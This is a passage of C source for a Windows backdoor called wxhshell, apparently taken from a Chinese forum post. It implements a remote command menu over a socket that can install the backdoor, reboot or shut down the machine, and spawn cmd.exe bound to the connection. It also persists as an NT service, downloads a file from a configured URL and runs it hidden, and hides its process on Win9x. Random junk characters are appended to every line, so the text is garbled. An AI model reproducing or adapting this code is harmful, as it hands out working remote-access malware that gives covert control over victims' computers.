  // 帮助 ,Y`TP4Ip  
  case '?': { w 3$9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J8?V1Ad{  
    break; jq( QL%)_O  
  } wPl9%  
  // 安装 Tno 0Q +  
  case 'i': { 'DTq<`~?  
    if(Install()) `Tc"a_p9t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y%Tm `$^V  
    else j6#Vwcr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); To =JE}jzo  
    break; =PYS5\k  
    } CSlPrx2\  
  // 卸载 |Pq z0n=v  
  case 'r': { ]:svR@E  
    if(Uninstall()) O7z5,-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {9XQ~t"m^  
    else H&uh$y@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f J+  
    break; (x140_TH~  
    } T0"q,lrdxV  
  // 显示 wxhshell 所在路径 %OJq(}  
  case 'p': { MQq!<?/  
    char svExeFile[MAX_PATH]; 2 sK\.yS  
    strcpy(svExeFile,"\n\r"); <8BNqbX  
      strcat(svExeFile,ExeFile); %:yVjb,Yf  
        send(wsh,svExeFile,strlen(svExeFile),0); Vu;z|L  
    break; gfQ1p?  
    } X{8g2](z.  
  // 重启 Pa-{bhllu)  
  case 'b': { jO}<W1qy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A 1B_EX.  
    if(Boot(REBOOT)) !xE@r,'oN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `c?8i  
    else { 5Y r$tl\k  
    closesocket(wsh); bFsJqA.A  
    ExitThread(0); }xpo@(e  
    } {!xDJnF;  
    break; `gz/?q  
    } _:+ k|I  
  // 关机 lf}%^od~6  
  case 'd': { FQM9>l@6)>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jf=\\*64r4  
    if(Boot(SHUTDOWN)) E(Zm6~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zXML<?w  
    else { Ir6g"kwCKq  
    closesocket(wsh); 8K2=WYN  
    ExitThread(0); Le*gdoW.  
    } LTcZdQd$  
    break; Vr hd\  
    } |nmt /[  
  // 获取shell 91M5F$  
  case 's': { ]}L tf,9  
    CmdShell(wsh); Ao$|`Lgj=z  
    closesocket(wsh); (w-@b70E  
    ExitThread(0); [ps 5  
    break; PG@6*E  
  } o ^""=Z  
  // 退出 30{WGc@l#  
  case 'x': { ~2[mZias  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :(#5%6F  
    CloseIt(wsh); t4<+]]   
    break; ,tak{["  
    } y\ax?(z  
  // 离开 nx@,oC4  
  case 'q': { Y'76!Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `_!R;f  
    closesocket(wsh); U &RZx&W  
    WSACleanup(); J }|6m9k!  
    exit(1); i=jY l  
    break; @.} @K  
        } m.Ki4NUm  
  } lQ#='Jqfp  
  } !7Nz_d~n  
W|\$}@>  
  // 提示信息 Ca ?d8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FTWjIa/[  
} Ww=b{lUD  
  } <jG[ z69)  
["sm7yQ  
  return; CvRO'  
} q``:[Sz  
*+_+Z DU  
// shell模块句柄 aV#phP  
int CmdShell(SOCKET sock) \e~5Dx1  
{ /]-a 1  
STARTUPINFO si; \WxBtpbQ B  
ZeroMemory(&si,sizeof(si)); |>KOlwh5n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,PeE'$q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; </D )i  
PROCESS_INFORMATION ProcessInfo; 6UM1>xq9A  
char cmdline[]="cmd"; /i(R~7;?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ##nC@h@  
  return 0; yaYJmhG  
} xc,Wm/[  
J$i.^|hE/  
// 自身启动模式 GezMqt;2  
int StartFromService(void) ^/~C\ (  
{ ;),vUu,k  
typedef struct GQDW}b8  
{ A+hA'0isF@  
  DWORD ExitStatus; aUq 2$lw1  
  DWORD PebBaseAddress; Dq+S'x~>  
  DWORD AffinityMask; Rw)=<XV)6  
  DWORD BasePriority; (e4 #9  
  ULONG UniqueProcessId; ~L:H]_8F l  
  ULONG InheritedFromUniqueProcessId; =s&ycc;-5}  
}   PROCESS_BASIC_INFORMATION; F8|m i`f-  
2yV^'o)  
PROCNTQSIP NtQueryInformationProcess; P4fnBH4OQ  
mI5!rrRD|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2^y*O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yiMqe^zy  
PQP|V>g  
  HANDLE             hProcess; KpT=twcK  
  PROCESS_BASIC_INFORMATION pbi;  rp=Y }  
w%-S5#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h !?rk|  
  if(NULL == hInst ) return 0; |IDZMd0  
r! ~6.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |q c<C&O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (Ta(Y=!uq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wpc8T="q  
%:Z_~7ZR  
  if (!NtQueryInformationProcess) return 0; yw >Frb5p  
Ho1V)T>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ANTWWs}  
  if(!hProcess) return 0; 7m8(8$-6  
eV j7%9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6eb~Z6n&?  
f dJ<(i]7W  
  CloseHandle(hProcess); /rHlFl|Wy  
!\!j?z=O8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hGRHuJ  
if(hProcess==NULL) return 0; q4Mv2SPT  
m .R**g  
HMODULE hMod; 0+/ew8~$  
char procName[255]; a}X. ewg  
unsigned long cbNeeded; t \-|J SZ  
D9!$H!T _  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?hYWxWW  
J3$@: S'  
  CloseHandle(hProcess); tGF3Hw^mS  
QW_BT ^d"  
if(strstr(procName,"services")) return 1; // 以服务启动 49YN@ PXC  
mJYD"WgY  
  return 0; // 注册表启动 A_crK`3  
} E] rBq_S  
gt\kTn."  
// 主模块 g([M hf#  
int StartWxhshell(LPSTR lpCmdLine) AF>t{rw=/  
{ KW/LyiP#  
  SOCKET wsl; I3u)y|Y=  
BOOL val=TRUE; ZS[Ut  
  int port=0; D"exI]  
  struct sockaddr_in door; 1u"#rC>7.4  
@hy~H?XN  
  if(wscfg.ws_autoins) Install(); nd&i9l  
t9)S^: 0  
port=atoi(lpCmdLine); AcHeZb8b  
vU$n*M1`$  
if(port<=0) port=wscfg.ws_port; A9MTAm{  
:*s@L2D6  
  WSADATA data; D 9UM8Hxi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k 7:Z\RGy  
U+zntB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V[n,fEPBr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ja6V*CWb  
  door.sin_family = AF_INET; ;SX~u*`R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !+]KxB   
  door.sin_port = htons(port); eJeL{`NS  
MG~bDM4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~K"nm{.  
closesocket(wsl); BN~ndWRK  
return 1; RFX{]bQp9  
} !(gSXe)*  
O{ 0it6  
  if(listen(wsl,2) == INVALID_SOCKET) { e^;%w#tEqI  
closesocket(wsl); P3nBxw"  
return 1; rA E5.Q!u  
} |a %Wd  
  Wxhshell(wsl); hzT)5'_  
  WSACleanup(); F|@\IVEB]  
Wg20H23XW  
return 0; '.C#"nY>1  
U uC-R)  
} VfUHqdg-  
$ Ggnn#  
// 以NT服务方式启动 3W{ !\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9E NI%Jz  
{ {h PB%  
DWORD   status = 0; UZ#oaD8H6  
  DWORD   specificError = 0xfffffff; Vf<q-3q  
;e< TEs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %0 i)l|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /4@ [^}x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z:Z-2WV2o  
  serviceStatus.dwWin32ExitCode     = 0; SlwQ_F"4L  
  serviceStatus.dwServiceSpecificExitCode = 0; JW )f'r_f  
  serviceStatus.dwCheckPoint       = 0; /nn~&OU  
  serviceStatus.dwWaitHint       = 0; pRd'\+  
vPc*x5w-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $HtGB]  
  if (hServiceStatusHandle==0) return; 9Q!Z9n"8~)  
Qqx!'fft  
status = GetLastError(); Cy *.pzCi  
  if (status!=NO_ERROR) [P6m8%Y|s  
{ p_X{'=SQ1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #Ge_3^'  
    serviceStatus.dwCheckPoint       = 0; i,S1|R  
    serviceStatus.dwWaitHint       = 0; xaVn.&Wl  
    serviceStatus.dwWin32ExitCode     = status; r?!:%L  
    serviceStatus.dwServiceSpecificExitCode = specificError; BC\W`K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H:XPl$;  
    return; [YZgQ  
  } !0vLSF=  
b`@C#qB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :HwdXhA6  
  serviceStatus.dwCheckPoint       = 0; EB*C;ms  
  serviceStatus.dwWaitHint       = 0; &AWrM{e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *")*w> R  
} A=IpP}7J  
esj6=Gh  
// 处理NT服务事件,比如:启动、停止 2pU'&8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DR,7rT{$  
{ '#h ORQB  
switch(fdwControl) 5-y*]:g(  
{ ,II3b( l  
case SERVICE_CONTROL_STOP: LrT EF j  
  serviceStatus.dwWin32ExitCode = 0; \P")Eh =d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V)l:fUm2  
  serviceStatus.dwCheckPoint   = 0; `*BV@  
  serviceStatus.dwWaitHint     = 0; 6q>}M  
  { &9|L Z9K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S[zGA<}  
  } XH@(V4J(.  
  return; ' QMcQvU  
case SERVICE_CONTROL_PAUSE: u&^KrOM@#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '&dT   
  break; "j8)l4}  
case SERVICE_CONTROL_CONTINUE: ,B_c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N-_APWA  
  break; K&Bbjb_|  
case SERVICE_CONTROL_INTERROGATE: Em^~OM3U$q  
  break; M=lU`Sm  
}; .a7RGT3]m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C=]<R< Xy  
} MkL2I+*  
_> x}MW+  
// 标准应用程序主函数 0y+^{@lU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @!u{>!~0  
{ +L`}(yLJ)9  
I:G8B5{J  
// 获取操作系统版本 /t`\b [  
OsIsNt=GetOsVer(); cz{`'VN}`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {\CWoFht>  
0c`nk\vUy  
  // 从命令行安装 c)B3g.C4m  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6h2keyod  
V7r_Ubg@K  
  // 下载执行文件 JJ%@m;~  
if(wscfg.ws_downexe) { CbC [aVA=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q4&! mDU  
  WinExec(wscfg.ws_filenam,SW_HIDE); NjpWK ;L  
} u[Kz^ga<  
vdC0tax  
if(!OsIsNt) { [l3\0e6-/  
// 如果时win9x,隐藏进程并且设置为注册表启动 F8"J<VJ7  
HideProc(); iw3\`,5   
StartWxhshell(lpCmdLine); =CJ`0yDQ>  
} }7(+#ISK6  
else PfRA\  
  if(StartFromService()) *1{A'`.=\  
  // 以服务方式启动 v/9ZTd  
  StartServiceCtrlDispatcher(DispatchTable); HY FMf3  
else e15yDwvB  
  // 普通方式启动 z<%bNnSO  
  StartWxhshell(lpCmdLine); c:u*-lYmK%  
eZqEFMBTm  
return 0; ZY]$MZf5yo  
}
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只看该作者 1 发表于: 2006-10-10
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